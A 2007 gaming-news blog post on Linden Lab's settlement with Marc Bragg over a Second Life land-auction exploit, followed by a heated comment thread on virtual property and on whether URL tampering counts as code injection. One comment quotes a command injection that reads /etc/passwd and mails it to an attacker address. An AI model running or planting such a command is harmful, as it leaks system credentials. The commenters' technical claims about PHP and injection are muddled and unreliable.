October 6, 2007 -
A messy but entertaining trial was avoided this week as Linden Lab, publisher of the Second Life MMO, reached a settlement with Pennsylvania attorney Marc Bragg.GamePolitics readers may recall that the dispute centered around Bragg's use of an exploit to buy up some in-game real estate at less-than-competitive prices. Virtually Blind explains the deal:
Linden Lab announced today that it reached a confidential settlement with Marc Bragg which allows Bragg to return to Second Life as avatar ‘Marc Woebegone...’
Although the settlement is not a surprise, many observers... hoped that the case would progress further and that the court would issue a substantive ruling regarding the nature of virtual property. Trial was scheduled for mid-December.
GP: A Linden Lab press release pointed out that the settlement is confidential and aks that folks not pry into the details.
Who are they kidding?
This one had the potential to be a pretty significant virtual property case. If we knew the inside dirt, we'd publish it in a New York minute.
Comments
I think i've just answered my own question..
This is actually really interesting, and I agree, I wish this ended with an actual ruling about the legal nature of virtual property.
-War, not Peace
I don't think virtual property should be granted the same protections as real property. To do so would potentially cause a great deal of harm to online games, where the rules of the game may be in conflict with real life regulations.
If I wish to have a game where it's possible for players to steal virtual things from each other, the law should not interfere with that. It's a contract issue, not a property issue.
Excuse me, you don't own the site. Quit bitching.
Anyhow, damn...I was wondering what would've happened. Oh well. *shrugs*
War is Peace
And quite a lot of medications.
And metal planes (due to a shortage of materials.)
And other stuff.
So... what am I missing?
It only becomes a property issue when the company is selling you virtual property for real money and telling you that you own it. Most other games don't suffer from such madness as they don't sell anything other than subscriptions.
Again you post about fees to play and they denied him a service he paid for. SECOND LIFE IS FREE. A point you miss time and time again. Ok so they took his $1.50 if he paid for the lindens. Big deal he has gotten that asking for legal fees I would bet. He paid for no service and was granteed no service. And lindens are free to get. Make something to sell in game and you have them. The only thing invested is your own time......which last I checked is free. If he chose to pay real cash for lindens that is his choice. Just as it was his choice to exploit the auction system to get to auctions that weren't publicly open yet. Last time this was reported on you ignored key facts to continue on an argument that had no substance. You constantly proved your oppents were correct by admitting he entered in the URL with modified php code which is the definition of code injection.
Now you claim a URL isn't code....ok that's a half truth I will let it slide. But if it is a php URL there is php code in the URL. If you change that URL and send that request to the server you have injected (modified written created pick your word) php code to the server.
You have had IT professionals that have experience with tech law, security, and ethics. Industry certified technicians have argued and watched as you have proven yourself wrong. But let me put it together for all of those just now joining us.
Mauler Says:
June 10th, 2007 at 9:12 pm
"He entered a URL of the land he was interested by putting in the correct land ID in the URL."
Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.
From: http://en.wikipedia.org/wiki/Code_injection
Unenforced and unchecked. Linden thought that the auctions were not public. They did not check this.
Fits perfectly. From your own words/admissions. Thank you for proving my point! Now I am sure that you have to Google php code and come up with something that looks like this off wiki: ; cat /etc/passwd | email attacker@attacker.com #
Yes that is injecting php code via a guest book. It is more advances that what happened in this case. He used a dull tool to commit the murder if you will go along with me here. But even though it was dull it still got the job done and it is still a murder.
His avi will probably have a very large ignore list now that it's name has been posted. Ah well.
LL settled with him, restoring all of his rights and, if you read between the lines, his lands as well. They likely returned some of his money. They did all of this despite your claimed knowledge that he was 100% in the wrong and they were well within their rights. Again, they settled with him in a manner that clearly makes him the winner. The facts are against you and yet you hold on to the belief you were right.
Calling URL's code is just plain foolishness. It's the grasping at straws that simply do not exist. You have to so misdefine code to the point that it is meaningless. PHP URL's are not code. They are a Location where the page you are accessing exists. There is no code in them. There is no point of injection either. If it were such a cut and dry case of code injection why the settlement? Your theories are utterly worthless. I was right and you were wrong on this and still you claim these wild theories that are devoid of real world mechanics. The settlement by LL proves it and still you tilt at windmills.
The real IT and legal folks, not just those wo claim to be on the internet, who had all of the facts at hand sided with me. Real life beats imaginary theory, manufactured facts, and twisted and strained logic.
Basic
Free
Can own Estates or Private Regions
Can rent anywhere, depending on the landowner's renting preferences
Can have a Covenant Agreement on Private Regions or Estates owned by other Residents
Can't own land on the mainland
Can't submit support tickets aside from the questions covered in the FAQ
No access to Live Chat through the Solution Finder
Again I prove my facts and you throw statements out that can't be backed up. And I am a real IT Professional with going on 10 years of expirence. I have won state level awards in the IT field. My co-workers that have discussed this with me combined with mine is boardering on over 40+ years total of expirence. We are web desginers. We have servers we mantain. We have VPN networks that we run. We have done prgraming.
Here is php
http://en.wikipedia.org/wiki/PHP
if there is PHP in the url that isbecause the server is using php your url contains php code that requests that page it is a php code to pull the requested page.
http://usd.auctions.secondlife.com/scripts/faqs.asp#acct1
Can anyone in Second Life buy land in the auctions?
No. Only Residents with Premium memberships are eligible to purchase land in Second Life.
You aren't even getting the stuff right that is easily verified.
Your proof only goes to prove that you are wrong. Your example of php, that it's a requested page and not based on an actual script, shows that well enough. The page has to actually exist on the server. He isn't creating something that doesn't exist on the server already. He isn't injecting something new. That is code injection. Injecting code to the server to make it do something that isn't already on the server. Everything he pulled up was already on the server.
Rather than accept the reality of the situation, that you were wrong, you have to invent a fiction about how they had the winning hand and folded when they had full knowledge of what he was holding. The real professionals proved you wrong when they settled. Holding on to a belief when it's been so utterly disproven because you believe you are right doesn't make it that way. Accept the fact that you were wrong and adjust your reality to those facts.
Would you hire someone who brought in URLs as evidence of their coding skills? Not the pages they bring up, just the URL. OF course you wouldn't. And the reason you wouldn't is that URLs are not code. A true professional can read pure code and see what it is going to do. You can't do that with a URL. Why? Because it's not code. It's not going to do anything by itself. It's only the code on the server that is going to do anything. If that page doesn't exist it's not going to do anything.
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